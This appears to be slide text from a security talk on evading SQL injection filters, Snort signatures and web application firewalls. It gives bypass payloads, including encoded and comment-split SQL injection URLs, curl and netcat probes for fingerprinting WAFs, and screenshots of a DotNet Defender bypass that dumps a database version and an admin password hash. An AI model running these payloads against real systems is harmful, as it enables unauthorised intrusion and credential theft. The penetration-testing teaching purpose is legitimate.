I know that people often think this stuff is very black and white, cut and dry - but the simple truth with sql injection is sometimes you just have a gut feeling that you are looking at a vulnerable page.

You've tried a bunch of things but for some reason nothing seems to be working. You may be facing some sort of filtering. Maybe the developer has attempted to stop sql injection by only allowing alphanumeric characters as input.

Client-Side Filtering

The first thing that we want to do is determine if the filtering is client-side (ex: being done with javascript).

View source code and look for any parameters being passed to the website that may be filtered with javascript/vbscript and remove them

- Save the page locally and remove offending javascript/vbscript
- or
- Use a local proxy (ex: Paros, WebScarab, Burp Suite)

Restrictive Blacklist

Server-side Alphanumeric Filter

[http://\[site\]/page.asp?id=2 or 1 like 1](http://[site]/page.asp?id=2 or 1 like 1)

Here we are doing an “or true,” although this time we are using the “like” comparison instead of the “=” sign. We can use this same technique for the other variants such as “and 1 like 1” or “and 1 like 2”

[http://\[site\]/page.asp?id=2 and 1 like 1](http://[site]/page.asp?id=2 and 1 like 1)

[http://\[site\]/page.asp?id=2 and 1 like 2](http://[site]/page.asp?id=2 and 1 like 2)

Signature Based IDS

The key to IDS/IPS evasion is knowing that there is one in place.

With an IPS you can use something like Active Filter Detection or you can try something REALLY noisy from another IP address to see if your IP gets blocked.

Depending of the scope of your engagement you may or may not really be able to identify when an IDS is in use because it's passive in nature.

I've honestly found this side of the house to be more proof-of-concept, and just having fun as opposed to something I've actually needed on assessments.



Dec	Hex	Char	Dec	Hex	Char	Dec	Hex	Char	Dec	Hex	Char
0	00	Null	32	20	Space	64	40	@	96	60	`
1	01	Start of heading	33	21	!	65	41	A	97	61	a
2	02	Start of text	34	22	"	66	42	B	98	62	b
3	03	End of text	35	23	#	67	43	C	99	63	c
4	04	End of transmit	36	24	\$	68	44	D	100	64	d
5	05	Enquiry	37	25	%	69	45	E	101	65	e
6	06	Acknowledge	38	26	&	70	46	F	102	66	f
7	07	Audible bell	39	27	'	71	47	G	103	67	g
8	08	Backspace	40	28	(72	48	H	104	68	h
9	09	Horizontal tab	41	29)	73	49	I	105	69	i
10	0A	Line feed	42	2A	*	74	4A	J	106	6A	j
11	0B	Vertical tab	43	2B	+	75	4B	K	107	6B	k
12	0C	Form feed	44	2C	,	76	4C	L	108	6C	l
13	0D	Carriage return	45	2D	-	77	4D	M	109	6D	m
14	0E	Shift out	46	2E	.	78	4E	N	110	6E	n
15	0F	Shift in	47	2F	/	79	4F	O	111	6F	o
16	10	Data link escape	48	30	0	80	50	P	112	70	p
17	11	Device control 1	49	31	1	81	51	Q	113	71	q
18	12	Device control 2	50	32	2	82	52	R	114	72	r
19	13	Device control 3	51	33	3	83	53	S	115	73	s
20	14	Device control 4	52	34	4	84	54	T	116	74	t
21	15	Neg. acknowledge	53	35	5	85	55	U	117	75	u
22	16	Synchronous idle	54	36	6	86	56	V	118	76	v
23	17	End trans. block	55	37	7	87	57	W	119	77	w
24	18	Cancel	56	38	8	88	58	X	120	78	x
25	19	End of medium	57	39	9	89	59	Y	121	79	y
26	1A	Substitution	58	3A	:	90	5A	Z	122	7A	z
27	1B	Escape	59	3B	;	91	5B	[123	7B	{
28	1C	File separator	60	3C	<	92	5C	\	124	7C	
29	1D	Group separator	61	3D	=	93	5D]	125	7D	}
30	1E	Record separator	62	3E	>	94	5E	^	126	7E	~
31	1F	Unit separator	63	3F	?	95	5F		127	7F	□

Signature Based IDS (1)

Signature 1

alert tcp any any -> \$HTTP_SERVERS \$HTTP_PORTS (msg: "SQL Injection attempt";
flow: to_server, established; content: "' or 1=1 --"; nocase; sid: 1; rev:1;)

Bypass Techniques:

[http://\[site\]/page.asp?id=2 or 2=2--](http://[site]/page.asp?id=2 or 2=2--)

[http://\[site\]/page.asp?id=2 or 1<2--](http://[site]/page.asp?id=2 or 1<2--)

[http://\[site\]/page.asp?id=2 or 1 like 1--](http://[site]/page.asp?id=2 or 1 like 1--)

[http://\[site\]/page.asp?id=2 /**/or /**/2/**/=/**/2--](http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2--)

....c'mon everyone name some more

Signature Negatives

- Having the ' in the signature will cause you to miss attacks that don't utilize the '
- 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc)

If this signature is so easily bypassed, what is it actually good for?

Answer:

It's great for automated tools and kiddies

Signature Based IDS (My Opinion)



Signature Based IDS (2)

Signature 2

alert tcp any any -> \$HTTP_SERVERS \$HTTP_PORTS (msg: "SQL Injection attempt";
flow: to_server, established; pcre: **"/(and|or) 1=1 (\-|-|*|\#)/i"**; sid: 1; rev:2;)

Bypass Techniques:

[http://\[site\]/page.asp?id=2](http://[site]/page.asp?id=2) or [2=2%2D%2D](http://[site]/page.asp?id=2)

[http://\[site\]/page.asp?id=2](http://[site]/page.asp?id=2) or [1<2%2D%2D](http://[site]/page.asp?id=2)

[http://\[site\]/page.asp?id=2](http://[site]/page.asp?id=2) or [1 like 1%2D%2D](http://[site]/page.asp?id=2)

[http://\[site\]/page.asp?id=2](http://[site]/page.asp?id=2) **/**/or /**/2/**/=/**/2%2D%2D**

....c'mon everyone name some more

Signature Negatives

- 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc)
- Comments like pretty much anything else can be represented in other encoding type (ex: (%2D%2D = --)
- It is possible to attack an sql injection vulnerability without using comments

If this signature is so easily bypassed, what is it actually good for?

Answer:

Again, it's great for automated tools and kiddies

Signature Based IDS (3-5)

Signature 3-5

```
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: "SQL Injection SELECT statement"; flow: to_server, established; pcre: "/select.*from.*(\-\-|\^*|\#)/i"; sid: 2; rev: 1;)
```

```
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: "SQL Injection UNION statement"; flow: to_server, established; pcre: "/union.*(\-\-|\^*|\#)/i"; sid: 3; rev: 1;)
```

Bypass Techniques:

```
http://[site]/page.asp?id=2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)%2D%2D
```

```
http://[site]/page.asp?id=2 or 2 in (select user)--
```

```
http://[site]/page.asp?id=-2 %55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201,2,3,(%73%65%6C%65%63%74%20%75%73%65%72),5,6,7%2D%2D
```

```
http://[site]/page.asp?id=-2 UNION ALL select 1,2,3,(select user),5,6,7--
```

```
....c'mon everyone name some more
```

Signature Negatives

- Although sigs 3-5 are much better, they don't consider the attacker may use different encoding types such as hex

Signature Based IDS (6-7)

Signature 6

```
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: "SQL Injection SELECT statement"; flow: to_server, established; pcre:"/(s|%73)(e|%65)(l|%6C)(e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D).*(\-\|\^*\|#)/i"; sid: 2; rev2;)
```

Signature 7

```
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: "SQL Injection SELECT statement"; flow: to_server, established; pcre:"/(s|%73|%53)(e|%65|%45)(l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%46)(r|%72|%52)(o|%6F|%4F)(m|%6D|%4D).*(\-\|\^*\|#)/i"; sid: 2; rev: 3;)
```

At least signature 7 takes into account case sensitivity with hex encoding.

But.....

There are always other encoding types that the attacker can use...

Practice Your Kung Fu: PHPIDS



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Smoketest

' or 1 in convert(int(select user))--

Harmless HTML is allowed

Input is JSON encoded

Send

found injection: ' or 1 in convert(int(select user))=1--

rule: (?=\s*\d*\.\d*\.\d*\.\d*\.\d*\.\d*)|(?:[!&]{2,}\s**)|(?:\d+\.\d*\.\d*\.\d*)|(?;|
 rule-description: Detects common XSS concatenation patterns 2/2
 impact: 4

rule: (?--[^\n]*\$)|(?;<!-->)|(?;\s*\s*\s*)|(?:(?[\W\d]#|--|})\$)|(?;\{3,}.*\$)|
 rule-description: Detects common comment types
 impact: 3

rule: (?:\x(?:23|27|3d))|(?;\.?"\$)|(?;\^\.*\\".+(<|\\))|(?:(?["\\"]*(?[\d"]+)|
 rule-description: Detects classic SQL injection probings 1/2
 impact: 6

rule: (?:"\s*\s*.(?;or|id)\W**\d)|(?;\^")|(?;\^[w\s"-]+(<=and\s)(?<=or\s)(?
 rule-description: Detects classic SQL injection probings 2/2
 impact: 6

rule: (?:\{2,}\+\{2,};\{2,})|(?:\{2,}\+\{2,};+)|(?:\{3,}\+\+\{2,})|(?;\{3,}\+\+\{2,})|
 rule-description: Detects unknown attack vectors based on PHPIDS Centrifuge detection
 impact: 7

PHPIDS Centrifuge data

ratio
3.3
threshold
3.49

Overall impact: 26



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Smoketest

' or 1 in (select user)--

Harmless HTML is allowed

Input is JSON encoded

Send

found injection: ' or 1 in (select user))--

rule: (?--[^\n]*\$)|(?;<!-->)|(?;\s*\s*\s*)|(?:(?[\W\d]#|--|})\$)|(?;\{3,}.*\$)|
 rule-description: Detects common comment types
 impact: 3

rule: (?:\x(?:23|27|3d))|(?;\.?"\$)|(?;\^\.*\\".+(<|\\))|(?:(?["\\"]*(?[\d"]+)|
 rule-description: Detects classic SQL injection probings 1/2
 impact: 6

rule: (?:"\s*\s*.(?;or|id)\W**\d)|(?;\^")|(?;\^[w\s"-]+(<=and\s)(?<=or\s)(?
 rule-description: Detects classic SQL injection probings 2/2
 impact: 6

rule: (?:\{2,}\+\{2,};\{2,})|(?:\{2,}\+\{2,};+)|(?:\{3,}\+\+\{2,})|(?;\{3,}\+\+\{2,})|
 rule-description: Detects unknown attack vectors based on PHPIDS Centrifuge detection
 impact: 7

PHPIDS Centrifuge data

ratio
2.875
threshold
3.49

Overall impact: 22

Practice Your Kung Fu: PHPIDS



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Smoketest

Harmless HTML is allowed

Input is JSON encoded

Send

Nothing suspicious was found!

HTML injection [click](#) `%27%20or 1 in (select user)%2D%2D`
a href and onclick doublequoted [click](#)
a href and onclick singlequoted [click](#)
a href and onclick no quotes [click](#)
script tags

Signature Based IDS

The real trick for each of these techniques is to understand that this is just like IDS evasion in the service based exploitation side of the house.

You have to make sure that your attack actually works. It's easy to bypass an IDS, but you can just as easily end up with your attack bypassing the IDS, but not working at all.

With this in mind you can mix/match the IDS evasion tricks - it's just a matter of understanding the regex in use.

```
http://[site]/page.asp?id=2%20or%202%20in%20(/*IDS*/%73/*evasion*/%65/*is*/%6C/*easy*/%65/*just*/%63/*ask*/%74/*j0e*/%20%75/*to*/%73/*teach*/%65/*you*/%72/*how*/)%2D%2D
```

What is passed to the db

```
http://[site]/page.asp?id=2 or 2 in (select user)--
```

in comments ("IDS evasion is easy just ask j0e to teach you how")

Identifying Web Application Firewalls

WAFs are surprisingly easy to detect?

Generally you just have to send 1 valid request, and one malicious request and diff the response.

Malicious tends to be any HTTP request that has a payload that contains things like:

' " < ? # - | ^ *

Identifying Web Application Firewalls

How can you determine if the target host has deployed a WAF?

Curl

```
curl -i http://targetcompany.com/cmd.exe | grep "501 Method"
```

Netcat

```
$(echo "GET /cmd.exe HTTP/1.1"; echo "Host: targetcompany.com"; echo) | nc targetcompany.com | grep "501 Method Not Implemented"
```

If the server responds with error code “**501 Method Not Implemented**” then it is running mod_security.

Curl

```
curl -i http://www.targetcompany.com/%27
```

HTTP/1.1 999 No Hacking

Server: WWW Server/1.1

WebKnight Application Firewall Alert

Your request triggered an alert! If you feel that you have received this page in error, please contact the administrator of this web site.

What is WebKnight?

AQTRONIX WebKnight is an application firewall for web servers and is released under the GNU General Public License. It is an ISAPI filter for securing web servers by blocking certain requests. If an alert is triggered WebKnight will take over and protect the web server.

For more information on WebKnight:

<http://www.aqtronix.com/WebKnight/>

AQTRONIX WebKnight

Identifying Web Application Firewalls

How can you determine if the target host has deployed a WAF?

Gary O'Leary-Steele

<http://packetstormsecurity.org/web/unicode-fun.txt>

```
[j0e@LinuxLaptop toolz]$ ruby unicode-fun.rb
```

```
Enter string to URL Unicode: <script>alert('XSS')</script>
```

```
%u003c%uff53%uff43%uff52%uff49%uff50%uff54%u003e%uff41%uff4c%uff45%uff52%uff54%uff08%u02b9%uff38%uff33%uff33%u02b9%uff09%u003c%u2215%uff53%uff43%uff52%uff49%uff50%uff54%u003e
```

Curl

```
curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e
```

```
HTTP/1.1 404 Not Found
```

```
Date: Sat, 14 Mar 2009 19:13:10 GMT
```

```
Server: Apache
```

Identifying Web Application Firewalls

How can you determine if the target host has deployed a WAF?

Curl


```
curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e
```

HTTP/1.1 200 Condition Intercepted

Date: Sun, 15 Mar 2009 01:42:01 GMT

Server: Apache

DotNet Defender WAF



The screenshot shows a Mozilla Firefox browser window with the title "dotDefender Blocked Your Request - Mozilla Firefox". The address bar contains the URL "http://[redacted]main.asp?goto=<script>alert('xss')</script>&pid=3". The browser's menu bar includes File, Edit, View, History, Bookmarks, Tools, and Help. The status bar at the bottom shows "Done".

The main content area displays a message from dotDefender WAF:

18-Mar-09


dotDefender Blocked Your Request

Please contact the site administrator, and provide the following Reference ID:

7391-5D9B-AD44-078B

dotDefender™ Web Application Firewall
dotDefender is a software-based web application firewall installed on Apache, IIS, or Microsoft ISA Server.
Download a fully-featured 30 days trial version from:
<http://www.applicure.com/?page=dotDefender>

Bypassing DotNet Defender




The screenshot shows a Mozilla Firefox browser window with the Acunetix Web Scanner (Free Edition) extension installed. The scanner's status bar indicates "Scanner status: Idle." The browser's address bar shows a URL with a redacted domain and a query string: `http://[redacted]main.asp?goto=[redacted].asp&[redacted]=1 or 1 in (select user)--&pid=[redacted]`. The main content area of the browser displays an error message from the scanner:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07':
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'dbo' to data type int.
/CUSScripts.asp, line 1659

The status bar at the bottom of the browser window shows "Done" and system icons for Windows and Firefox.

DotNet Defender



The screenshot shows a Mozilla Firefox browser window with a redacted URL in the address bar. The error message displayed is:


Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3077.00 (Intel X86) Dec 17 2008 15:19:45 Copyright (c) 1988-2005 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int.

/CUSScripts.asp, line 1732

At the bottom of the browser window, the status bar shows "Done" and system icons for Windows and Firefox.

Dumping Admin PW – sorry DotNet Defender



The screenshot shows a Mozilla Firefox browser window with a redacted address bar. The error message displayed is:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value  
0x01004086ceb6b141be37de72b10050c2dcd746e96c8af6a05b8' to data type int.  
./CUSScripts.asp, line 1732
```

The browser's status bar at the bottom shows "Done" and navigation icons.

Basic References

SQL Tutorials:

<http://www.sql-tutorial.net/>

SQL Injection Tutorials

<http://www.securitydocs.com/library/3587>

<http://www.astalavista.com/index.php?section=docsys&cmd=details&id=42>

SQL Injection Cheatsheets:

<http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/>

<http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/>

References For This Presentation

Lots, and lots, and lots of late nights with rum and coke at my side...

Paul Battista's ToorCon 9 Presentation

<http://www.securityexperiment.com/se/documents/Overlooked%20SQL%20Injection%2020071021.pdf>

Brad Warneck's GCIA Paper

http://www.gjac.org/certified_professionals/practicals/gcia/1231.php

Download This Presentation

You want the presentation????? Buy me a rum and coke tonight....

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